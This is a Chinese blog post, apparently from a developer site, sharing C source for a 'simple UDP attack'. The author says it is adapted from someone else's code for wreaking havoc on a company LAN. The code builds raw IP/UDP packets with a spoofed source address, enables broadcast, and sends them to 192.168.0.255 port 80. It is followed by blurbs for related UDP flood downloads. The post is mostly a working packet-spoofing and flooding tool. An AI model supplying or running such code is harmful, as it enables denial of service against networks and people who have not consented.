`
malixxx
  • 浏览: 99075 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

简单的udp攻击

阅读更多
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.

这个也添加了广播,整个网段的人都能收到了

#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h> //ip
#include <netinet/udp.h> //tcp
#include <stdlib.h>
#include<netinet/in.h>

unsigned short ip_sum(unsigned short *addrr2, int len2) {
    register unsigned short *addrr = addrr2;
    register int len = len2;
    register int sum = 0;
    unsigned short answer = 0;

    while (len > 1) {
        sum += *addrr++;
        len -= 2;
    }
    if (len == 1) {
        *(unsigned char *) (&answer) = *(unsigned char *) addrr;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return (answer);
}

unsigned short cksum(short * buf, int nwords) {
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

int main(int argc, char *argv[]) {
    int sock, size, bytes_send, psize;
    psize = 0;
    struct sockaddr_in sin;

    struct {
        struct ip iphead;
        struct udphdr udphead;
        unsigned char evil[];
    } faggot;

    size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;

    printf("create socket\r\n");
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr("192.168.0.255"); //被攻击者ip
    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    const int on = 1;//设定常量,用于打开广播模式
    //设定该接口上的广播模式
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    faggot.evil[psize] = '\0';

    printf("create iphead\r\n");
    faggot.iphead.ip_v = 4;
    faggot.iphead.ip_hl = 5;
    faggot.iphead.ip_tos = 0x00;
    faggot.iphead.ip_len = size;
    faggot.iphead.ip_id = 1025;
    faggot.iphead.ip_off = 0;
    faggot.iphead.ip_ttl = 201;
    faggot.iphead.ip_p = IPPROTO_UDP;
    faggot.iphead.ip_sum = 0;
    inet_aton("192.168.0.157", &faggot.iphead.ip_src);//假冒ip
    inet_aton("192.168.0.255", &faggot.iphead.ip_dst);//被攻击者ip

    printf("create udphead\r\n");
    faggot.udphead.source = htons(12345);//假冒端口
    faggot.udphead.dest = htons(80);//被攻击者端口
    faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);

    faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));
    faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);

    printf("start send\r\n");
    int i = 1;
    while (i > 0) {
        bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));
        i--;
        //        if (bytes_send > 0) {
        //            i++;
        //            printf("第%d次OK bytes_send udp %d \n", i, bytes_send);
        //        }
    }
    printf("end send\r\n");
}
分享到:
评论

相关推荐

    UDP攻击实现

    UDP(User Datagram Protocol)是一种无连接的传输层协议,它提供了简单、快速的服务,但缺乏TCP的连接管理和错误校验机制。正因为这种特性,UDP成为了实施网络攻击的一种手段,特别是DDoS(Distributed Denial of ...

    udp flood攻击【C源代码】

    这个udpFlood是从上面我写的那个synflood里改的,很简单,如果大家需要做两个攻击的话建议自己改一个就ok,也可以集成在一起。还能多练习,熟悉tcp和udp的区别

    基于Python语言的网络传输层UDP协议攻击性行为研究.pdf

    "基于Python语言的网络传输层UDP协议攻击性行为研究" 本文研究的主要内容是基于Python语言的网络传输层UDP协议攻击性行为研究。该研究的目的是为了解决传统网络传输层UDP协议攻击性行为判断不明的问题。为此,研究...

    linux封锁IP简单防御UDP攻击

    研究起因由于近些日子我的VPS遭受攻击,不管是win的还是linux的都遭受了UDP攻击,流量剧增不一会DOWN机了,这让我很恼火,非常想知道是谁干的 现在说下我的本地测试VPS配置 centos6.0 1.我们要查看这些流量的攻击...

    UDP简单通信程序

    下面我们将深入探讨如何使用C#编写UDP简单通信程序。 1. **创建UdpClient对象** 在C#中,首先需要创建一个UdpClient对象,这将用于发送和接收数据。例如: ```csharp UdpClient udpClient = new UdpClient(); `...

    UDP简单通信例子程序

    - 防止UDP洪泛攻击:由于UDP无连接,容易被用于DDoS攻击。因此,应用层需要限制同一来源的数据速率。 - 数据包大小限制:UDP报文大小限制为65535字节,超过这个大小的数据包会被截断,需要自行拆分和重组。 - ...

    UDP基础UDP基础UDP基础

    6. **安全问题**:由于UDP的不可靠性,它容易受到中间人攻击和拒绝服务攻击。因此,通常会在UDP之上使用如IPsec或TLS/DTLS等安全协议来增强安全性。 了解这些基础知识后,对于开发基于UDP的应用或网络编程人员来说...

    C# UDP通讯的简单实现

    下面我们将详细探讨如何在C#中实现一个简单的UDP通信。 首先,我们需要了解.NET框架中的System.Net.Sockets命名空间,这个命名空间包含了Socket类,它是进行网络通信的核心。对于UDP通信,我们需要使用UdpClient类...

    udp.rar_UDP 接收_UDP 局域网通信_UDP 通信_udp局域网_udp数据通信

    9. **安全性**:由于UDP的特性,它在某些情况下可能比TCP更容易受到攻击,比如UDP Flood攻击。因此,在使用UDP进行通信时,需要考虑安全策略,如防火墙规则和入侵检测系统。 10. **广播与多播**:UDP支持广播和多播...

    udp.rar_udp扫描

    在TCP/IP协议栈中,TCP和UDP都可以进行扫描,但UDP扫描通常更简单,因为它不需要建立连接过程。 **UDP扫描的基本原理:** UDP扫描通过发送UDP数据报到目标主机的特定端口,然后观察返回的响应来确定端口是否开放。...

    简单udp通信支持表情群聊

    相较于TCP,UDP提供了一种快速、简单的数据传输方式,适用于实时应用,如在线视频、语音通话和多人游戏等,其中数据丢失或乱序是可以接受的。 在“简单udp通信支持表情群聊”这个项目中,我们主要关注的是如何利用...

    UDP聊天程序_rowqfw_网络编程_udp进行c/s编程_

    7. **安全性**:尽管UDP聊天程序相对简单,但仍然要考虑安全问题,如数据加密、防止拒绝服务攻击等。 在“UDP聊天-服务器”和“UDP聊天-客户端”这两个文件中,分别包含了服务器端和客户端的源代码。通过分析和运行...

    基于UDP的简单可视化界面聊天程序(c/c++)

    9. **安全性**:虽然UDP聊天程序可能较简单,但安全问题不容忽视,如防止拒绝服务攻击、保护用户隐私等。 学习这个项目,开发者不仅能掌握UDP和Socket编程的基本原理,还能提升对GUI编程和多线程处理的理解。通过...

    JAVA进行UDP编程

    UDP(User Datagram Protocol)是传输层的一个无连接协议,它提供了简单、快速的数据传输服务,但不保证数据的可靠传输。在Java中,我们可以使用java.net包中的DatagramSocket类和DatagramPacket类来实现UDP通信。...

    基于UDP协议的聊天室设计

    【基于UDP协议的聊天室设计】是一个典型的网络编程项目,主要涵盖了UDP(用户数据报协议)的基础知识,以及如何利用这种协议实现一个简单的聊天室功能。UDP是传输层的一种无连接协议,它不保证数据包的顺序、完整性...

    udp.rar_udp协议

    7. **安全性**:由于UDP的无连接特性,它更容易受到攻击,如UDP洪水攻击。因此,在使用UDP时,必须考虑安全措施,如防火墙规则和应用层验证。 8. **UDP编程**:在编程中,使用UDP通常涉及到创建套接字,绑定到特定...

    cpp-c实现的超简单udpserver服务框架不想用cgo那就用它包装支持下

    标题中的“cpp-c实现的超简单udpserver服务框架不想用cgo那就用它包装支持下”指的是使用C++和C语言编写的一个简单的UDP服务器框架,它避免了使用Go语言的cgo工具来调用C库。cgo是Go语言提供的一种机制,允许Go代码...

    java聊天工具udp

    UDP是一种无连接的、不可靠的传输层协议,它比TCP(传输控制协议)更为轻量级,适合于对实时性要求较高的应用,如在线游戏、视频会议或简单的聊天工具。下面将详细讲解这个Java UDP聊天工具的设计与实现,以及涉及的...

    基于UDP的聊天程序

    10. **安全性**:由于UDP的不可靠性,聊天程序可能会面临数据包篡改、拒绝服务攻击等问题,因此需要考虑额外的安全措施,如使用加密技术保护数据安全。 基于上述知识点,开发一个基于UDP的聊天程序可能涉及到创建...

Global site tag (gtag.js) - Google Analytics